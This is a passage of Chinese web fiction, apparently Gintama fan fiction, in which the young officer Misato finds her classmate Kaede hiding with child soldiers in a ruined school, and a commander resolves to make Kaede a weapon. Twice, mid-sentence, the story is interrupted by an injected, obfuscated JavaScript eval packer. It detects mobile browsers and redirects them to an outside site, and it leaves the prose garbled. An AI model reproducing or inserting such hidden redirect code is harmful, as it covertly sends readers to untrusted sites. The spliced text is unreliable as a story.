据村长所说,此处是一个大大的废弃的学堂,一片寂静中只剩下残垣断壁静静地矗立。 干净光亮的房屋只剩下一堆灰烬与焦黑的木梁,地面覆盖着一层厚厚的灰烬,偶尔可以看到未完 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14136851|148044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 全燃烧的物品碎片。屋顶的瓦片大多已不复存在,剩下的几片也摇摇欲坠,随时可能掉落下来。 会选择在这种地方养伤,看来他们已经到了很艰难的地步。 美里无声地猜想,对身后的两个手下使了个颜色后独自上前,挂上标准的笑意,轻轻地抠响那扇摇摇欲坠的大门。 “吱呀——” 大门发出难听刺耳的响声,悄悄打开一道缝,从那个缝里露出一个警惕的眼睛。 美里诧异,开门的人居然是个小孩子。 对方眨了眨眼睛,满脸警惕,粗声粗气开口: “你是谁?” 居然只有小孩子来开门了吗?看来他们的情况真的不乐观啊。 美里压下心里复杂的情绪,挤出一个笑容。 “我们是攘夷志士。” “!” 小孩子的眼神倏地亮了起来,就像见到救星一样满面兴奋。 美里的笑容更大了,张了张口,正准备说什么。 “等一下!” 对方似乎想到什么,硬生生打断美里呼之欲出的话语,神色闪烁了些许,“嘭”地一下关上门,徒留门内穿出吧嗒吧嗒的脚步声。 美里尴尬地摸了摸鼻尖,神色不明。 三浦见状连忙上前,神情紧张,像是担忧孩子在学校受欺负的老父亲一样满脸忧虑。下意识伸手握住美里的肩膀。 “没事吧大人,他对你说了什么?” 田中淡定地走上来,一把扯开三浦的手,提醒他冷静点。 美里发自内心地笑了笑,眼里闪过奇异的光彩,让他整个人显得沉着自信。 “我没猜错的话——” “吱呀——” 门从内部被用力推开一道口子,刚刚那个小孩半个身子藏在黑暗里,只露了个脑袋。 “你们进来吧——” 美里谢过开门的小孩,率先大步走向黑暗的门内,像一个勇士义无反顾走向深渊,三浦痛心疾首,抹着眼泪追随长官而去。 田中:“……” 屋内很暗,只有几盏幽幽的烛光在沉重的黑暗里摇曳。 美里适应了一会才渐渐从一片黑暗中找到自己的视野。 他幻视了一下四周,才猛然发现自己的四周被包围了,若有若无的视线从四面八方射来,周围的空气仿佛因此而变得凝重起来,连呼吸都变得小心翼翼。 那些目光悄然潜藏在黑暗里,赤裸裸地打量他们,似乎在判断对方是敌是友。负责保护美里长官的三浦下意识肌肉紧绷,双眼紧紧盯着前方,耳朵也似乎在捕捉周围一切声响,整个人像一根紧绷的弦,一旦对方有歹意,他随时准备弹射而出。 在这呼吸声都不敢落地的紧张氛围里,一声肆无忌惮的嗤笑像锐利的剑一样划破这份寂静。 “好久不见啊,美里同学。” 对方在朦胧的橘色烛光下露出半张带着面具的脸,阴森森的白牙被照得晃眼。 24.一颗宝石 率先吸引众人目光的是那晦涩朦胧烛光下狰狞的般若面具,青白色的脸颊晕染上深红深橘的大块大块斑驳,漆黑凌乱的线条像横冲直撞的蟒蛇在凹凸不平的表面上肆意游走,露出阴森森的枯黄色的獠牙。 最突出的还是那血盆大口下斜挂着好似摇摇欲坠的长舌头,从舌尖到舌根颜色逐渐过渡到黑色,表面覆盖着细小而密集的暗红色鳞片,闪烁着诡谲的光泽。分明只是雕刻出来的舌头却好像在缓慢地蠕动着舔舐着森森獠牙,好似有无形的涎水顺着嘴角滴答滴答落在死寂的空气,令人恶心又恐怖。 美里压下心里异样的感觉,干巴巴地开口: “那个……你是?” 对方咧着嘴笑了一下,伸手摘掉遮住半张脸的面具,殷红似血的薄唇一张一翕,美里抑制不住流露出惊喜的表情。 “阿枫?!真的是你?!” 他下意识惊呼,见到同窗的喜悦瞬间冲淡了心下对周围诡异氛围的不适,让他陡然抛开了在有关私塾一切事情面前岌岌可危的理智,蓦然扑到旧友的身上,紧紧抓住对方的双手,激动的目光像探照灯一样粘在阿枫身上来回打量。 “诶——大人——” 三浦一惊,仅仅是眼前一花的功夫,他们的长官就已经扑到不知是敌是友的对方怀里了。 爱操心的副官扼腕叹息。 美里的眼里泪光闪闪,鼻子一酸,眼睛一眨不眨地泛着红晕。 阿枫僵硬地扯了一下嘴角,露出一个几乎狰狞的表情,三浦眼神一凝,呼吸一滞,脑子里的危险预警雷达嘀呜嘀呜吵个不停,下意识就要抑制不住本能冲上去。 “——大人!” 阿枫一瞬间顿了一下,右手有些不自然、轻轻地搭在美里的头发上。 “!” 三浦目眦欲裂!手脚蓄势待发,就在他咬咬牙下定决心准备极限一换一的时候,田中一把拽住了跃跃欲试的他。 “笨蛋,你看看氛围啊——” 田中低声怒喝,他简直对这个笨蛋副官心力憔悴了,先前副手这个职位换成三浦最大的原因就是他在考核中表现出坚定不移的衷心和冷静处事的态度,奈何他考虑到了客观事实性却忽略了人的主观能动性,田中格外地懊悔当时怎么就被三浦极具欺骗性的外表迷惑了双眼,在三浦见到小小的美里长官的一瞬间,一种名叫“父爱”的东西在这个不到三十岁的年轻人身上迸发了从未有过的生机,发生一系列奇妙的化学反应霎时间冲昏了那颗清醒冷静的头脑。令他从一个稳重成熟的副官无缝衔接变成一个爱操心的笨蛋爸爸。 田中深深地吐了口气,冷静,冷静。 如果不是现在的氛围太过不合适,他就要抑制不住浓浓的吐槽欲揪着手里这个笨蛋的耳朵怒骂了。 被迫刹车的三浦眼泪汪汪,泪眼模糊地看着“儿子”和不知道哪里蹦出来的“野女人”卿卿我我,心下一片凄凉。 成为视野中心的阿枫被美里激动地一哭搞得不知所措,浑身僵直地四肢不知道该怎么放,要说私塾里最能应对美里那张梨花带雨的哭脸的,除了作为男朋友的正田同学也只有松阳老师了。 看起来凶神恶煞的女孩却对比她矮一点的男孩的哭泣无可奈何,阿枫只好干巴巴地伸手轻轻拍他的脑袋,场面看起来格外滑稽,如果不是眼睁睁目睹这一场无力吐槽的画面,田中还以为他们的长官被一群小孩子霸凌了,毕竟现场看起来确实很像这么回事。 美里揉了揉通红的眼睛,吸了吸鼻子,软绵绵的语调还带着哭腔: “呜……还好阿枫没事,我们都很担心你和西村婆婆……呜……” 阿枫叹了口气,纠结地抓了抓看起来有些枯黄的头发。 “好啦,别哭了——如你所见,我好端端的站在你面前啊,有什么好哭的。” 阿枫揉着后脑勺看似不耐烦地嘟囔,田中却愕然地发现那个面部瘢痕崎岖狰狞看起来就不好惹的女孩下意识流露出一抹柔情。 美里狼狈地擦了擦眼泪鼻涕,脸上带着几分羞涩,下意识扯出一个傻乎乎的完全没有交易时成竹在胸气定神闲的笑容,玲珑小巧的鼻子下还挂着一行清水鼻涕。 他擦了擦手上的脏污,朝阿枫和她身后的孩子们伸出掌心。 “欢迎加入攘夷军。” * “所以你们的部队被天人发现了,在长官死后你带着一群零零散散的菜鸟兵一边躲藏一边寻找大部队的踪迹?” 冬野捏着下巴复盘阿枫所说的话。 她忍不住抬眼打量这个年幼的孩子,还没她大腿高的个头,消瘦的身板以及奇怪地戴着一个般若面具。就是这么一个小小的孩子却在遭遇天人军队突袭,目睹长官和同伴的死亡后迅速振作起来领导军心涣散的新兵部队一路躲躲藏藏支撑到他们的到来。 冬野的仿佛被什么东西击中了最柔软的心底,一向不苟言笑的她忍不住从眼里流露出心疼的情绪。 她嘴角嗫嚅了许久,复杂的情绪在眼里缓缓酝酿: “西村枫,是么……这些日子,辛苦你了……你做得很好。” 冬野饱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14209324|148044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 含鼓励与安慰的眼神像温柔的春水一样朝阿枫包围而去。 阿枫歪了歪头,面具咔哒地动了一下。 “哈?” 冬野深沉的目光注视着眼前小小的孩子,瞥见那面具底下触目惊心的疤痕后心下微微叹气,不知为何以硝烟烽火浇筑的城墙却被这个小小的孩子轻轻一推就溃不成军,那种隐藏在骨子里的她以为死得彻彻底底的“母爱”在贫瘠的土壤里破土而出。 阿枫奇怪地看向面前的长官,自从她说完这些话后这个女人就好像陷入了什么奇怪的漩涡,表情一会深沉一会痛心,恐怕喜剧艺人都自叹不如她的变脸速度。 阿枫皱了一下眉,粗暴地打断长官自我攻略模式。 “很辛苦吗?” “什么?” 冬野一瞬间地呆愣后才扯回理智,听到阿枫的话下意识流露出一个茫然的神情。 “我说,”阿枫有点不耐烦了,她在长官这里耗了太多时间,“带人来找你们这种事情,很辛苦吗?” 还未等冬野回复,阿枫耸了一下肩,补充道:“好吧一开始他们哭哭唧唧的确实很烦,不过——”阿枫咧开嘴笑了一下,上半张被裸露在外的漆黑的眼睛闪烁着一种奇异的光彩,直勾勾地看向冬野,“看着天人跟在屁股后头抓不住我们急得团团转的蠢样,还蛮有意思的。” 冬野猛然一震,眉毛高高挑起,呼吸骤然停滞一瞬,做出一个不可置信的表情。 时间仿佛在这一刻定格了,阿枫大逆不道地踮脚尖拍了拍长官的侧腰,好半晌冬野才从静止中重新启动,眼睛下意识眨了眨,一闪而过一抹疯狂的喜悦,倏地蹲下来,手臂重重搭在阿枫的肩上。 硝烟的气息和锋芒毕露的危惧感铺天盖地袭来,令她下意识汗毛倒竖,野兽一样的警觉疯狂地捶打她的大脑,阿枫硬生生克制住自己转身逃跑的欲望,用力瞪大眼睛直勾勾一眨不眨地盯着冬野的动作。 看到眼前的小家伙小动物一样的反应,冬野顿时笑了,咧着嘴像大尾巴狼看到小红帽一样露出贪婪的神色。 她知道,自己捡到宝了。 如果能好好利用阿枫这颗宝石,把略显青涩尚未崭露锋芒的利器打磨得寒光锃亮,那必将是一把带着势如破竹的气势直击天人心脏的强大武器。 冬野露出一个神秘莫测的微笑,阿枫被盯得发毛,下意识打了个寒颤。 她摸了一下般若的面具,狐疑的眼神在冬野笑眯眯的脸上肆意游走,心下忍不住泛起嘀咕: 这女人色眯眯地看着我干嘛?!